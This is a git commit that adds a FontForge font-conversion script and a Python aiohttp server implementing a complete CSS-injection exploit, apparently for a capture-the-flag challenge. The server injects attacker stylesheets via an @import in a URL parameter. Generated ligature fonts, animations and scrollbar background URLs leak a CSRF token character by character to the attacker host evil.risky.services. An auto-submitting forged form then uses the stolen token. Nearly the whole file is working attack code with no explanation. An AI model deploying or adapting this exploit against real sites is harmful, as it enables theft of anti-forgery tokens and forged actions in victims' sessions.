init
This commit is contained in:
commit
3bfaee9417
|
|
@ -0,0 +1,3 @@
|
||||||
|
#!/usr/bin/fontforge
|
||||||
|
Open($1)
|
||||||
|
Generate($1:r + ".woff")
|
||||||
|
|
@ -0,0 +1,257 @@
|
||||||
|
import asyncio as aio
|
||||||
|
from aiohttp import web
|
||||||
|
import ssl
|
||||||
|
import logging
|
||||||
|
import tempfile
|
||||||
|
import subprocess
|
||||||
|
import os
|
||||||
|
import base64
|
||||||
|
import math
|
||||||
|
|
||||||
|
SELF_URL = "https://evil.risky.services:1338"
|
||||||
|
TARGET_URL = "https://flag-sharer.ml/gifts?error=../item%3fname=@import%2burl(%2522{self_url}{{style_path}}%2522);".format(self_url=SELF_URL)
|
||||||
|
SELECTOR = """textarea[name="csrf"]"""
|
||||||
|
SPECIFICITY_HACK = """[name="csrf"]"""
|
||||||
|
LEAK_LEN = 34
|
||||||
|
|
||||||
|
BF_CHARSET = ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "i"]
|
||||||
|
|
||||||
|
ep = """<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<script>const sessid = "{sessid}"</script>
|
||||||
|
<style>
|
||||||
|
#target {{
|
||||||
|
height: 100vh;
|
||||||
|
width: 100vw;
|
||||||
|
overflow-x: auto;
|
||||||
|
display: block;
|
||||||
|
}}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<iframe frameborder="0" height="100%" width="100%" id="target" src={target_uri}></iframe>
|
||||||
|
<form id="myform" method="POST" action="https://flag-sharer.ml/send">
|
||||||
|
<input type="hidden" name="recipient" value="sdfg">
|
||||||
|
<input type="hidden" name="gift" value="actual flag">
|
||||||
|
<input id="csrf" type="hidden" name="csrf" value="">
|
||||||
|
</form>
|
||||||
|
<script>
|
||||||
|
function sleep(ms) {{
|
||||||
|
return new Promise(resolve => setTimeout(resolve, ms));
|
||||||
|
}}
|
||||||
|
async function try_fetch() {{
|
||||||
|
while (true) {{
|
||||||
|
r = await fetch("/token/"+sessid);
|
||||||
|
j = await r.json();
|
||||||
|
console.log(j);
|
||||||
|
if (j['status'] == 'true') {{
|
||||||
|
document.getElementById("csrf").value = j["token"];
|
||||||
|
document.getElementById("myform").submit();
|
||||||
|
break;
|
||||||
|
}}
|
||||||
|
await sleep(3000);
|
||||||
|
}}
|
||||||
|
}}
|
||||||
|
try_fetch();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
"""
|
||||||
|
|
||||||
|
base_style = """
|
||||||
|
@import url("{self_url}{{style_path}}");
|
||||||
|
:root {{{{
|
||||||
|
--x: red;
|
||||||
|
}}}}
|
||||||
|
{{selector}} {{{{
|
||||||
|
display: block !important;
|
||||||
|
height: 4em;
|
||||||
|
white-space: nowrap;
|
||||||
|
}}}}
|
||||||
|
{{selector}}::-webkit-scrollbar {{{{ background: var(--x); }}}}
|
||||||
|
""".format(self_url=SELF_URL)
|
||||||
|
|
||||||
|
class Session(object):
|
||||||
|
count = 0
|
||||||
|
prefix = "i"
|
||||||
|
evt = aio.Event()
|
||||||
|
|
||||||
|
FONT_CTR = 0
|
||||||
|
def generate_font(ligature):
|
||||||
|
global FONT_CTR
|
||||||
|
svg = """<svg>
|
||||||
|
<defs>
|
||||||
|
<font id="hack{id}" horiz-adv-x="0">
|
||||||
|
<font-face font-family="hack{id}" units-per-em="1000" />
|
||||||
|
<missing-glyph />
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
</font>
|
||||||
|
</defs>
|
||||||
|
</svg>""".format(
|
||||||
|
'\n '.join(['<glyph unicode="{}" horiz-adv-x="0" d="M1 0z"/>'.format(c) for c in BF_CHARSET]),
|
||||||
|
'<glyph unicode="{}" horiz-adv-x="8000" d="M1 0z"/>'.format(ligature),
|
||||||
|
id=FONT_CTR
|
||||||
|
)
|
||||||
|
print(svg)
|
||||||
|
woff = b''
|
||||||
|
with tempfile.NamedTemporaryFile(mode="w+", suffix=".svg") as svgfp:
|
||||||
|
svgfp.write(svg)
|
||||||
|
svgfp.flush()
|
||||||
|
subprocess.run(["/usr/bin/fontforge", "./convert.fontforge", svgfp.name])
|
||||||
|
woffname = os.path.splitext(svgfp.name)[0] + '.woff'
|
||||||
|
with open(woffname, 'rb') as wofffp:
|
||||||
|
woff = wofffp.read()
|
||||||
|
os.remove(woffname)
|
||||||
|
|
||||||
|
css = """@font-face {{
|
||||||
|
font-family: "hack{}";
|
||||||
|
src: url(data:application/x-font-woff;base64,{});
|
||||||
|
}}
|
||||||
|
""".format(FONT_CTR, base64.b64encode(woff).decode())
|
||||||
|
FONT_CTR += 1
|
||||||
|
return (css, 'hack' + str(FONT_CTR-1))
|
||||||
|
|
||||||
|
def generate_fonts(prefix):
|
||||||
|
css = ''
|
||||||
|
chars = {}
|
||||||
|
for c in BF_CHARSET:
|
||||||
|
fnt, fam = generate_font(prefix + c)
|
||||||
|
css += fnt
|
||||||
|
chars[prefix+c] = fam
|
||||||
|
return (css, chars)
|
||||||
|
|
||||||
|
def generate_frame(frame, sess, count, delta):
|
||||||
|
fdelta = delta / 5.0
|
||||||
|
css = """{}
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
{}""".format(
|
||||||
|
'{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]),
|
||||||
|
'{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(1*fdelta), frame[0][1]),
|
||||||
|
'{:0.2f}% {{font-family:"{}";--x:blue url({self_url}/leak/{sess}/{count}/{});}}'.format(frame[1]+(2*fdelta), frame[0][1], frame[0][0], self_url=SELF_URL, sess=sess, count=count),
|
||||||
|
'{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(3*fdelta), frame[0][1]),
|
||||||
|
'{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]+(4*fdelta)))
|
||||||
|
return css
|
||||||
|
|
||||||
|
import decimal
|
||||||
|
def float_range(start, stop, step):
|
||||||
|
while start < stop:
|
||||||
|
yield float(start)
|
||||||
|
start += step
|
||||||
|
|
||||||
|
ANIM_CTR = 0
|
||||||
|
def generate_animations(chars, sess, count):
|
||||||
|
global ANIM_CTR
|
||||||
|
delta = math.floor(99/(len(chars.keys())-1))
|
||||||
|
frames = list(zip(chars.items(), range(0, 99, delta)))
|
||||||
|
css = """@keyframes troll{} {{
|
||||||
|
{}
|
||||||
|
100% {{font-family:empty;--x:red}}
|
||||||
|
}}""".format(ANIM_CTR, '\n '.join([generate_frame(f, sess, count, delta) for f in frames]))
|
||||||
|
ANIM_CTR += 1
|
||||||
|
return (css, 'troll' + str(ANIM_CTR-1))
|
||||||
|
|
||||||
|
def generate_attack_style(prefix, sess, count):
|
||||||
|
fonts, chars = generate_fonts(prefix)
|
||||||
|
anim, animid = generate_animations(chars, sess, count)
|
||||||
|
css = """@import url("{self_url}{next_path}");
|
||||||
|
{fonts}
|
||||||
|
{anim}
|
||||||
|
{selector}{specificity_hack} {{
|
||||||
|
overflow-x: auto;
|
||||||
|
width: 4em;
|
||||||
|
animation-duration: 3s;
|
||||||
|
animation-delay: 0s;
|
||||||
|
animation-timing-function: step-start;
|
||||||
|
font-family: empty;
|
||||||
|
background: lightblue;
|
||||||
|
animation-name: {animid};
|
||||||
|
}}""".format(self_url=SELF_URL, next_path='/attack/{}/{}'.format(sess, int(count)+1), fonts=fonts, anim=anim, selector=SELECTOR, specificity_hack=SPECIFICITY_HACK*int(count), animid=animid)
|
||||||
|
return css
|
||||||
|
|
||||||
|
SESS_CTR = 0
|
||||||
|
SESSIONS = {}
|
||||||
|
async def handle_entrypoint(req):
|
||||||
|
logging.warning("Got one")
|
||||||
|
global SESS_CTR
|
||||||
|
global SESSIONS
|
||||||
|
sessid = SESS_CTR
|
||||||
|
SESS_CTR += 1
|
||||||
|
SESSIONS[sessid] = Session()
|
||||||
|
SESSIONS[sessid].evt.set()
|
||||||
|
uniq_url = TARGET_URL.format(style_path="/style/" + str(sessid))
|
||||||
|
rez = ep.format(sessid=sessid, target_uri=uniq_url)
|
||||||
|
return web.Response(text=rez, content_type='text/html')
|
||||||
|
|
||||||
|
async def get_style(req):
|
||||||
|
sess = req.match_info['sess']
|
||||||
|
logging.warning("%s requested base style" % sess)
|
||||||
|
rez = base_style.format(style_path="/attack/" + sess + "/0", selector=SELECTOR+SPECIFICITY_HACK)
|
||||||
|
return web.Response(text=rez, content_type='text/css')
|
||||||
|
|
||||||
|
async def handle_attack(req):
|
||||||
|
global SESSIONS
|
||||||
|
sess = req.match_info['sess']
|
||||||
|
sessid = int(sess)
|
||||||
|
if sessid not in SESSIONS.keys():
|
||||||
|
logging.error("Bad session %s" % sess)
|
||||||
|
return web.Response(text='')
|
||||||
|
session = SESSIONS[sessid]
|
||||||
|
await aio.gather(session.evt.wait(), aio.sleep(3))
|
||||||
|
session.evt.clear()
|
||||||
|
count = req.match_info['count']
|
||||||
|
c = int(count)
|
||||||
|
if c >= LEAK_LEN or c != session.count:
|
||||||
|
logging.error("Bad count: expected %d got %d" % (session.count, c))
|
||||||
|
return web.Response(text='')
|
||||||
|
logging.warning("%s requested attack style" % sess)
|
||||||
|
rez = generate_attack_style(session.prefix, sess, count)
|
||||||
|
session.count += 1
|
||||||
|
return web.Response(text=rez, content_type='text/css')
|
||||||
|
|
||||||
|
async def handle_token(req):
|
||||||
|
global SESSIONS
|
||||||
|
sess = req.match_info['sess']
|
||||||
|
sessid = int(sess)
|
||||||
|
if sessid not in SESSIONS.keys():
|
||||||
|
logging.error("Bad session %s" % sess)
|
||||||
|
session = SESSIONS[sessid]
|
||||||
|
if len(session.prefix) < LEAK_LEN:
|
||||||
|
return web.json_response({'status': 'false'})
|
||||||
|
else:
|
||||||
|
return web.json_response({'status': 'true', 'token': session.prefix[:LEAK_LEN]})
|
||||||
|
|
||||||
|
async def handle_leak(req):
|
||||||
|
global SESSIONS
|
||||||
|
sess = req.match_info['sess']
|
||||||
|
sessid = int(sess)
|
||||||
|
if sessid not in SESSIONS.keys():
|
||||||
|
logging.error("Bad session %s" % sess)
|
||||||
|
return web.Response(text='')
|
||||||
|
session = SESSIONS[sessid]
|
||||||
|
count = req.match_info['count']
|
||||||
|
c = int(count)
|
||||||
|
if c >= LEAK_LEN or c != session.count-1:
|
||||||
|
logging.error("Bad count: expected %d got %d" % (session.count, c))
|
||||||
|
return web.Response(text='')
|
||||||
|
session.evt.set()
|
||||||
|
data = req.match_info['data']
|
||||||
|
logging.warning("%s reported %s" % (sess, data))
|
||||||
|
session.prefix=data
|
||||||
|
return web.Response(body=b'', content_type='image/png')
|
||||||
|
|
||||||
|
app = web.Application()
|
||||||
|
app.add_routes([web.get('/entrypoint', handle_entrypoint),
|
||||||
|
web.get('/style/{sess:\d+}', get_style),
|
||||||
|
web.get('/attack/{sess:\d+}/{count:\d+}', handle_attack),
|
||||||
|
web.get('/leak/{sess:\d+}/{count:\d+}/{data}', handle_leak),
|
||||||
|
web.get('/token/{sess:\d+}', handle_token),])
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
print(generate_attack_style('id', '0', '10'))
|
||||||
|
ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
|
||||||
|
ssl_ctx.load_cert_chain('/etc/letsencrypt/live/evil.risky.services/fullchain.pem', '/etc/letsencrypt/live/evil.risky.services/privkey.pem')
|
||||||
|
web.run_app(app, port=1338, ssl_context=ssl_ctx)
|
||||||
Loading…
Reference in New Issue